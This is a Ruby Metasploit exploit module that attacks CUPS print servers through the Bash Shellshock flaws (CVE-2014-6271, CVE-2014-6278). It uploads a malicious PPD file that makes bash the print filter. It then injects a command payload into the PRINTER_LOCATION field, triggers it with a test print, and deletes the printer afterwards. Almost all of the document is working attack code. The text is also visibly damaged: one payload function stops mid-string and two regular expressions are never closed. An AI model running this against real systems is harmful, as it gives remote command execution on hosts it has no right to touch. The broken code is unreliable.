require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(info,
'Name' => 'CUPS Filter Bash Environment Variable Code Injection' ,
'Description' => %q{
This module exploits a post-auth code injection in specially crafted
environment variables in Bash, specifically targeting CUPS filters
through the PRINTER_INFO and PRINTER_LOCATION variables by default.
},
'Author' => [
'Stephane Chazelas' ,
'lcamtuf' ,
'Brendan Coles <bcoles[at]gmail.com>'
],
'References' => [
[ 'CVE' , '2014-6271' ],
[ 'CVE' , '2014-6278' ],
[ 'EDB' , '34765' ],
],
'Privileged' => false ,
'Arch' => ARCH_CMD ,
'Platform' => 'unix' ,
'Payload' =>
{
'Space' => 1024 ,
'BadChars' => "\x00\x0A\x0D" ,
'DisableNops' => true
},
'Compat' =>
{
'PayloadType' => 'cmd' ,
'RequiredCmd' => 'generic bash awk ruby'
},
'Targets' => [[ 'Automatic Targeting' , { 'auto' => true } ]],
'DefaultTarget' => 0 ,
'DisclosureDate' => 'Sep 24 2014' ,
'License' => MSF_LICENSE
))
register_options([
Opt:: RPORT ( 631 ),
OptBool. new ( 'SSL' , [ true , 'Use SSL' , true ]),
OptString. new ( 'USERNAME' , [ true , 'CUPS username' , 'root' ]),
OptString. new ( 'PASSWORD' , [ true , 'CUPS user password' , '' ]),
OptEnum. new ( 'CVE' , [ true , 'CVE to exploit' , 'CVE-2014-6271' , [ 'CVE-2014-6271' , 'CVE-2014-6278' ] ]),
OptString. new ( 'RPATH' , [ true , 'Target PATH for binaries' , '/bin' ])
], self . class )
end
def cve_2014_6271(cmd)
%{() { :;}; $(
end
def cve_2014_6278(cmd)
%{() { _ ; } > _ [$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
end
def check
@cookie = rand_text_alphanumeric( 16 )
printer_name = rand_text_alphanumeric( 10 + rand( 5 ))
res = add_printer(printer_name, '' )
if !res
vprint_error( "#{peer} - No response from host" )
return Exploit::CheckCode::Unknown
elsif res.headers[ 'Server' ] =~ / CUPS \/([\d\.]+)/
vprint_status( "#{peer} - Found CUPS version #{$1}" )
else
print_status( "#{peer} - Target is not a CUPS web server" )
return Exploit::CheckCode::Safe
end
if res.body =~ /Set Default Options for
vprint_good( "#{peer} - Added printer successfully" )
delete_printer(printer_name)
elsif res.code == 401 || (res.code == 426 && datastore[ 'SSL' ] == true )
vprint_error( "#{peer} - Authentication failed" )
elsif res.code == 426
vprint_error( "#{peer} - SSL required - set SSL true" )
end
Exploit::CheckCode::Detected
end
def exploit
@cookie = rand_text_alphanumeric( 16 )
printer_name = rand_text_alphanumeric( 10 + rand( 5 ))
case datastore[ 'CVE' ]
when 'CVE-2014-6278'
cmd = cve_2014_6278(payload.raw)
else
cmd = cve_2014_6271(payload.raw)
end
res = add_printer(printer_name, cmd)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed." )
elsif res.body =~ /Set Default Options for
print_good( "#{peer} - Added printer successfully" )
elsif res.code == 401 || (res.code == 426 && datastore[ 'SSL' ] == true )
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed." )
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true." )
else
fail_with(Failure::Unknown, "#{peer} - Could not add printer." )
end
res = print_test_page(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed." )
elsif res.body =~ /Test page sent; job ID is/
vprint_good( "#{peer} - Added test page to printer queue" )
elsif res.code == 401 || (res.code == 426 && datastore[ 'SSL' ] == true )
fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed." )
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true." )
else
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue." )
end
res = delete_printer(printer_name)
if !res
fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed." )
elsif res.body =~ /has been deleted successfully/
print_status( "#{peer} - Deleted printer '#{printer_name}' successfully" )
elsif res.code == 401 || (res.code == 426 && datastore[ 'SSL' ] == true )
vprint_warning( "#{peer} - Could not delete printer '#{printer_name}' - Authentication failed." )
elsif res.code == 426
vprint_warning( "#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true." )
else
vprint_warning( "#{peer} - Could not delete printer '#{printer_name}'" )
end
end
def add_printer(printer_name, cmd)
vprint_status( "#{peer} - Adding new printer '#{printer_name}'" )
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
ppd_file = <<- EOF
* PPD -Adobe: "4.3"
*%==== General Information Keywords ========================
*FormatVersion: "4.3"
*FileVersion: "1.00"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PCFileName: "#{ppd_name}"
*Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1 . 1
*cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber:
*ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1"
*%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"
*DefaultOutputOrder: Reverse
*%==== Media Selection ======================
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/ A4 : "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF
pd = Rex:: MIME ::Message. new
pd.add_part(ppd_file, 'application/octet-stream' , nil , %(form-data; name= "PPD_FILE" ; filename= "#{ppd_name}" ))
pd.add_part( "#{@cookie}" , nil , nil , %(form-data; name= "org.cups.sid" ))
pd.add_part( "add-printer" , nil , nil , %(form-data; name= "OP" ))
pd.add_part( "#{printer_name}" , nil , nil , %(form-data; name= "PRINTER_NAME" ))
pd.add_part( "" , nil , nil , %(form-data; name= "PRINTER_INFO" ))
pd.add_part( "#{cmd}" , nil , nil , %(form-data; name= "PRINTER_LOCATION" )) # injectable
data = pd.to_s
data.strip!
send_request_cgi(
'method' => 'POST' ,
'uri' => normalize_uri(target_uri.path, 'admin' ),
'ctype' => "multipart/form-data; boundary=#{pd.bound}" ,
'data' => data,
'cookie' => "org.cups.sid=#{@cookie};" ,
'authorization' => basic_auth(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ])
)
end
def print_test_page(printer_name)
vprint_status( "#{peer} - Adding test page to printer queue" )
send_request_cgi(
'method' => 'POST' ,
'uri' => normalize_uri(target_uri.path, 'printers' , printer_name),
'authorization' => basic_auth(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ]),
'cookie' => "org.cups.sid=#{@cookie}" ,
'vars_post' => {
'org.cups.sid' => @cookie ,
'OP' => 'print-test-page'
}
)
end
def delete_printer(printer_name)
vprint_status( "#{peer} - Deleting printer '#{printer_name}'" )
send_request_cgi(
'method' => 'POST' ,
'uri' => normalize_uri(target_uri.path, 'admin' ),
'authorization' => basic_auth(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ]),
'cookie' => "org.cups.sid=#{@cookie}" ,
'vars_post' => {
'org.cups.sid' => @cookie ,
'OP' => 'delete-printer' ,
'printer_name' => printer_name,
'confirm' => 'Delete Printer'
}
)
end
end
|